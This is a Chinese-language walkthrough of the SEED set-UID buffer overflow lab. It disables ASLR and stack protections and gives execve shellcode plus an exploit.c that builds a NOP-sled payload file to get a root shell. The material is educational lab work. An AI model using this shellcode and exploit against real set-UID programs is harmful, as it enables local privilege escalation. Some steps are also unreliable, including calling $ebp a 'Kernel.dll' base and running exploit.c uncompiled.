Buffer Overflow Attack Lab (Set-UID Version)
Lab链接:https://seedsecuritylabs.org/Labs_20.04/Software/Buffer_Overflow_Setuid/
实验环境:Ubuntu20.04
实验目的:利用Buffer Overflow Attack对拥有Set-UID权限的文件进行攻击,获取root权限
实验文件:Labsetup.zip
实验指导书:
Environment Setup 环境设置
由于当代操作系统已经针对缓冲区溢出攻击做出了一定的对策(使其可能性降低),因此在本次实验中需要先关闭这些对策。
Address Space Randomization 地址随机化
一些内容参考:ASLR
关闭ASLR指令:
sudo sysctl -w kernel.randomize_va_space=0
当数值为0时,完全关闭ASLR。
当数值为1时,部分关闭ASLR。只将 mmap 的基址,stack 和 vdso 页面随机化。
当数值为2时,完全开启ASLR。在部分开启的基础上增加 heap的随机化。
Configuring /bin/sh 配置 /bin/sh
指导书的说法是,在近期版本的Dash和Bash中,已经实现了一些安全机制来避免他在Set-UID进程中被执行。因此我们要把sh从Dash切换至Zsh。
先安装Zsh:
sudo apt install zsh
然后把sh连接到Zsh:
sudo ln -sf /bin/zsh /bin/sh
StackGuard and Non-Executable Stack GCC所提供的两种安全防护
StackGuard:
GCC 中的编译器堆栈保护技术
StackGuard和StackShield
将在后续实验步骤中的编译时关闭。
Task 1:熟悉shellcode
三种版本。以下述代码为例。
C版本shellcode
#include <stdio.h>
int main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
32位shellcode
; Store the command on stack
xor eax, eax
push eax
push "//sh"
push "/bin"
mov ebx, esp ; ebx --> "/bin//sh": execve()’s 1st argument
; Construct the argument array argv[]
push eax ; argv[1] = 0
push ebx ; argv[0] --> "/bin//sh"
mov ecx, esp ; ecx --> argv[]: execve()’s 2nd argument
; For environment variable
xor edx, edx ; edx = 0: execve()’s 3rd argument
; Invoke execve()
xor eax, eax ;
mov al, 0x0b ; execve()’s system call number
int 0x80
在64位Ubuntu20.04环境下使用gcc -m32编译时会遇到报错。原因是gcc 编译32bit程序需要的依赖包不全。
方案:ubuntu64 使用gcc -m32编译成32bit程序
解决方法:
安装依赖包
sudo apt-get install gcc-multilib
64位shellcode
xor rdx, rdx ; rdx = 0: execve()’s 3rd argument
push rdx
mov rax, ’/bin//sh’ ; the command we want to run
push rax ;
mov rdi, rsp ; rdi --> "/bin//sh": execve()’s 1st argument
push rdx ; argv[1] = 0
push rdi ; argv[0] --> "/bin//sh"
mov rsi, rsp ; rsi --> argv[]: execve()’s 2nd argument
xor rax, rax
mov al, 0x3b ; execve()’s system call number
syscall
Task 2:Understanding the Vulnerable Program 理解易受攻击程序
the Vulnerable Program如下:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
/* Changing this size will change the layout of the stack.
* Instructors can change this value each year, so students
* won’t be able to use the solutions from the past. */
#ifndef BUF_SIZE
#define BUF_SIZE 100
#endif
int bof(char *str)
{
char buffer[BUF_SIZE];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
可以发现,在原始输入中,长度最大值为517。但是在bof()中,buffer只有BUF_SIZE大小,默认值100远低于517。
strcpy()函数并不会检查边界,因此会产生缓冲区溢出攻击。
产生攻击的过程:
这个程序被root所拥有,并拥有Set-UID权限。
这个程序需要一个badfile文件的输入,而这个文件可以被一般用户所控制。
编译这个程序
绕开安全策略进行编译
关闭StackGuard和 non-executable stack,通过在gcc时指定-fno-stack-protector和-z execstack选项。
gcc -DBUF_SIZE=100 -m32 -o stack -z execstack -fno-stack-protector stack.c
将其所有者设为root
sudo chown root stack
将其权限设置为Set-UID
sudo chmod 4755 stack
需要注意的是,设置所有者必须先于设置权限。因为当修改所有者时,Set-UID会被关闭。
通过Makefile来自动化编译
在code目录下有个Makefile文件,可以在命令行中输入make来实现自动化编译。
make
关于make和Makefile的关系:Linux下的make和Makefile
在本次实验code下Makefile中会有四个参数,并会分别根据这四个参数生成四种 Vulnerable Program。可以在Makefile中修改值来实现自定义。
Task 3:Launching Attack on 32-bit Program 对32位程序发起攻击
事前调查
进行缓冲区溢出攻击很重要的一点是,buffer的起始地址和存储返回地址之间的距离。通过这个距离,我们可以明白如何构造badfile进行攻击。
- b bof : 在bof()函数设置断点
- run: 在gdb模式下run
- next : 执行下一句(进行strcpy(buffer,str))
- p $ebp: 获取Kernel.dll基址
- p &buffer: 获取buffer地址
关于第四步的EBP寄存器可以参考:详细解析ESP寄存器与EBP寄存器
注意:
在gdb模式下,frame pointer的值和正常模式下的不一样。因为gdb模式下,会在运行之前会把一些环境数据写入到stack中。在正常模式下没有这些数据,因此frame pointer会更大一些(可能会疑惑为什么是更大而不是更小:在intel系统中栈是向下生长的(栈越扩大其值越小,堆恰好相反)。可以参考上面EBP的连接)。
发起攻击
使用一个exploit.c 来完成对badfile的构造。
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* Fill the buffer with appropriate contents here. The length of \x90\x90 depends on the stack.c bof() buffer length. The last four property is the location of shellcode */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
其中需要知道shellcode的具体位置。可以通过
gdb stack
disass main
然后找到esp位置,得知shellcode的地址位置。
进而把最后的"/x??/x??/x??/x??"中的?? 换成对应的shellcode地址。
./exploit.c
./stack
提权成功